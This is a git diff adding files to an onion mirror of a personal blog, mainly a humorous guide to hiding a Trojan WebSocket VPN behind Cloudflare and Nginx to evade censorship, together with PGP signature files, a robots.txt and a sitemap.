    +N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
    +700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
    +=QlNw
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/tor_clearnet_blog.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/tor_clearnet_blog.md.asc
    +gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/view_count.asc b/public-onion/posts/view_count.asc new file mode 100644 index 0000000..d36a196 --- /dev/null +++ b/public-onion/posts/view_count.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBAYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qZ0YQALKtL3KlVh0wBomD2nQ/2qnY +uV6OAGJ1nREjONc6TSHHaC7bPCwpRhyaYWpcAgcW1Si7A+Q6s3ocaHgGBd0rGCVV +96r12uq96bGX5uNtlyjCoTuJm+p6nq3pL/TWmjnxH9OKYSmFe3U4TTQtrlTc0B5t +BGbth8H7TtRVyXekQ2HD8pfLsDhmZQZr44EcMYcMjqAj9n/QHptDPghrPufeXM/e +OdOOftYJ4SjLVEDf2aJUzugmzWVG2W23XE3PMIixNXuvfOPJD1twRv+0dIo8+L9L +P4yS7DRxUnwjZpyTHOdoO95iI0eM1czOI5sf5+KcPJE4FMHfupVeAVhX70wzZfyO +ce9C8qbeJgtrm3Wd+K2EcqQpyguefXTcOA03WRW1fWej/FBykZ87TWsBkz3qixpV +pFX7xfpKNVqrSDEV2/3UhJjt5nY9rDKenwoBCChwc3JKWuIr/qmAKy4wEInywwY8 +gBnVmr/te2yn8lthVuDRkHvDmtnD+lIpHyRhFuGXiW1ny55Sk/UFF0fTqT7vIsa0 +lfbgcAO8IIZPpIN/KVpbYk4FUOU4xYwwKpA7mGrgj7Fy0oOZSlSqaQkSdYGjwRLk +j9X2blNsl5c+VHJkyGudAJl4iALB71gslhSgmyPTaFBQm9iAFGOLp1uR8p5tPYSz +c4TOiuBGZ0yYTcJRnwZC +=y9O1 +-----END PGP SIGNATURE----- diff --git a/public-onion/posts/vpn.asc b/public-onion/posts/vpn.asc new file mode 100644 index 0000000..61d3708 --- /dev/null +++ b/public-onion/posts/vpn.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAsYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qxN4QAJvcmo9uQXTpPSE6AUa53k/i +aCyquJMY44qCUgaw3/LDlRYsXsrLpI9sG89hfLfqxq1L3nEBrvtLyRdp+UiNSBFh +TcETYJQkajXE/BRnboSQ3fMoA163GRYTPdIOhlximKZrEqiYl6IqFZBJXLvcELJC +nNmQ5Wo61Bxi/+relQvCbXwISpFwDxZjcEIP6p4dTSIqAXMPzCRShJcGbswDSYDq +KuzK4HvB6YSeMolyAmDONTgb9V35fAzeWjYVqRM6r/WaBjgjaJE8x/d/Jb8zghjb +YdQc256bqEBjd7KCxmBE/828yJUd5hhdVX16i59NdnvdywoemAmV7bvR1pbFrnEA +GWWSF7Xl33c90Z39GGD7tCHuKKRS95s7DpL1g+fGtAvCnYfyvaCpp8i8DAZf24WL +v0Il/pBwQDddrYuCGmNCU1s28pr5FzAGxbjtIgrnd2qppcYOfMsccW7qDDNLaQu5 +cCAGqlohuPUsieuqArWnCqvreTdGHH/WLCwKtAroS7NzTcJN5lvX656gdRvjGgnU +NXBDojkEq+xufE8QEEs/Ea2Cck2/c3y0cI4AcQwSw8sEPYqD6Mzke/2asm0MYmXw +OVVcvGH6+6xsSWS5SBMrQ4vT0c5//eNHe6iSqSKz8Sf08sq+DB6qlFLpGZ34RFcd +rJJcAi3T+TfWWP2WoFIi +=tFX5 +-----END PGP SIGNATURE----- diff --git a/public-onion/posts/vpn/index.html b/public-onion/posts/vpn/index.html new file mode 100644 index 0000000..bcd7c74 --- /dev/null +++ b/public-onion/posts/vpn/index.html @@ -0,0 +1,708 @@ + + + + + + + +Stealth Trojan VPN Behind Cloudflare Guide | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + Stealth Trojan VPN Behind Cloudflare Guide +

    + +
    +

    Introduction

    +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    + +
    Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
    + +
    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    + +
    trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
    + +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
    +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
    +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
    +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
    +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
    +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
    +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
    +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
    +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
    +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
    +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
    +=IovZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md.asc
    +gpg --verify vpn.md.asc vpn.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/robots.txt b/public-onion/robots.txt new file mode 100644 index 0000000..25a434e --- /dev/null +++ b/public-onion/robots.txt @@ -0,0 +1,3 @@ +User-agent: * +Disallow: / +Sitemap: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sitemap.xml diff --git a/public-onion/sitemap.xml b/public-onion/sitemap.xml new file mode 100644 index 0000000..c5adf22 --- /dev/null +++ b/public-onion/sitemap.xml @@ -0,0 +1,406 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ + 2026-07-24T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/ + 2026-07-24T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dkim/ + 2026-07-24T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dmarc/ + 2026-07-24T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dns/ + 2026-07-24T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dovecot/ + 2026-07-24T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/guides/ + 2026-07-24T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/homelab/ + 2026-07-24T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/mail/ + 2026-07-24T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/nginx/ + 2026-07-24T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/opendkim/ + 2026-07-24T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/postfix/ + 2026-07-24T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/postfixadmin/ + 2026-07-24T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/ + 2026-07-24T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/roundcube/ + 2026-07-24T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/self-hosting/ + 2026-07-24T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + 2026-07-24T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/spf/ + 2026-07-24T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/ + 2026-07-24T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/june_2026/ + 2026-06-23T20:00:07+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/ + 2026-06-23T20:00:07+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + 2026-06-05T12:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/ctf/ + 2026-06-05T12:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/ctf/ + 2026-06-05T12:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/lfi/ + 2026-06-05T12:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/linux/ + 2026-06-05T12:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/php/ + 2026-06-05T12:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/privesc/ + 2026-06-05T12:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/security/ + 2026-06-05T12:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tuwien/ + 2026-06-05T12:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/web/ + 2026-06-05T12:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/archive/ + 2026-05-10T22:46:10+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/archive/face_of_rejection/ + 2026-05-10T22:46:10+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/april_2026/ + 2026-05-03T03:26:09+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/h3ll0_fr1end/ + 2026-05-02T16:17:02+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/cloudflare/ + 2026-02-02T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/docker/ + 2026-02-02T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/jellyfin/ + 2026-02-02T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/nextcloud/ + 2026-02-02T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/ + 2026-02-02T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/raspberrypi/ + 2026-02-02T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/security/ + 2026-02-02T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tailscale/ + 2026-02-02T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/blackout/ + 2026-01-26T07:21:51+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/2025_highlight/ + 2026-01-05T18:53:54+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/seeing_the_light/ + 2025-12-25T11:26:04+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/boredom/ + 2025-12-21T09:30:00+01:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/movienight/ + 2025-12-21T09:30:00+01:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/how_i_am_doing/ + 2025-12-15T08:27:13+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/setting_boundries/ + 2025-12-04T14:38:36+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/november_2025/ + 2025-11-30T07:53:40+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dnsmasq/ + 2025-11-23T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hostapd/ + 2025-11-23T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/house_upgrade/ + 2025-11-23T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/iot/ + 2025-11-23T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/networking/ + 2025-11-23T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/raspberry-pi/ + 2025-11-23T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/wifi/ + 2025-11-23T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/loop_of_doom/ + 2025-11-07T13:45:52+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/cupid/ + 2025-11-04T19:35:16+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/october_2025/ + 2025-10-31T08:40:43+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/e2ee/ + 2025-10-30T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/email/ + 2025-10-30T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/gmail-cse/ + 2025-10-30T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/pgp/ + 2025-10-30T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/privacy/ + 2025-10-30T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/privacy/ + 2025-10-30T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/proton/ + 2025-10-30T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/s/mime/ + 2025-10-30T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/e2ee/ + 2025-10-30T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tuta/ + 2025-10-30T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/crime-fiction/ + 2025-10-25T07:52:53+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/family-tree/ + 2025-10-25T07:52:53+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/murder_mystery_night/ + 2025-10-25T07:52:53+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/mafia/ + 2025-10-25T07:52:53+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/noir/ + 2025-10-25T07:52:53+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/sadness/ + 2025-10-24T12:48:31+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/blog/ + 2025-10-23T19:31:12+02:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/comments/ + 2025-10-23T19:31:12+02:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/giscus/ + 2025-10-23T19:31:12+02:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hugo/ + 2025-10-23T19:31:12+02:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/meta/ + 2025-10-23T19:31:12+02:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/comments-rss-papermod/ + 2025-10-23T19:31:12+02:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/papermod/ + 2025-10-23T19:31:12+02:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/rss/ + 2025-10-23T19:31:12+02:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/danya/ + 2025-10-21T08:41:58+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/skin_routine/ + 2025-10-20T18:47:04+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/papermod-views-debugging-story/ + 2025-10-18T10:45:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/analytics/ + 2025-10-18T10:45:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/busuanzi/ + 2025-10-18T10:45:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/debugging/ + 2025-10-18T10:45:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/goatcounter/ + 2025-10-18T10:45:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/stories/ + 2025-10-18T10:45:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/vercount/ + 2025-10-18T10:45:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/fabrication/ + 2025-10-17T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/flask/ + 2025-10-17T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/ + 2025-10-17T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/scd41/ + 2025-10-17T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/soldering/ + 2025-10-17T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/ws2812/ + 2025-10-17T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/scent_of_a_woman/ + 2025-10-13T08:52:10+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hobbies/ + 2025-10-10T07:04:54+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/relationships/ + 2025-10-05T08:03:31+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/september_2025/ + 2025-09-30T09:48:21+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/ + 2025-09-29T09:06:29+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/games/ + 2025-09-29T09:06:29+00:00 + + 